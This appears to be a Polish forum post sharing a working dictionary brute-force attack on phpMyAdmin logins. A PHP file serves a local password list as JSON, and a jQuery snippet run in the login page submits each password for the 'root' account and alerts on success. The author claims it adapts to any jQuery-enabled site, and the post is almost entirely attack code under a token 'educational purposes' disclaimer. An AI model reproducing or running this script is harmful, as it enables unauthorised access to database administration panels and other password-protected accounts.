Wymagania:
-lokalny server apache, interpreter php (np. Xampp).
-slownik z haslami(dictionary)
Kod: Zaznacz cały
<?php
$sciezka = "E:/XAMPP/htdocs/irhaxor/hasla.txt";
$handle = fopen($sciezka, "r");
$output = array();
while($linia = trim(fgets($handle, 4096))){
array_push($output, $linia);
}
fclose($handle);
echo json_encode($output);
?>
Wpisujemy:
Kod: Zaznacz cały
$.post("http://localhost:1234/irhaxor/bruteforce.php", {}, function(data){
dataa = jQuery.parseJSON(data);
$.each(dataa, function(){
var haslo = this;
$.post('index.php?token=33c6682b848763bb8947229fa2987b2c', {pma_username:'root', pma_password:haslo, server:1, target:'index.php'}, function(data1){
if (data1.indexOf('AJAX.scriptHandler;') > -1) {
alert(haslo);
} else {
//nic nie rob
}
});
});
});

UWAGA oczywiscie udostepniam to tylko w celach edukacyjnych. Nie namawiam do lamania hasel gdyz jest to karalne !
PS: Skrypt ten mozna uzyc na kazdej stronie obslugujacej JQuery, oczywiscie po prostych przerobkach wystarczyl by sam javascript.
PS2: nie jest to najbardziej optymalna metoda, ale dziala zawsze i wszedzie(po drobnych modyfikacjach mozna dostosowac to do dowolnej innej strony.
PS3: Odrazu wyjasniam czemu uzylem php i ajaxa, nie wiem czy to ja czegos tu nie rozumiem czy poprostu sie nie da ale nie bylem w stanie otworzyc pliku .get'em z javascripta, ktory znajdowal sie lokalnie.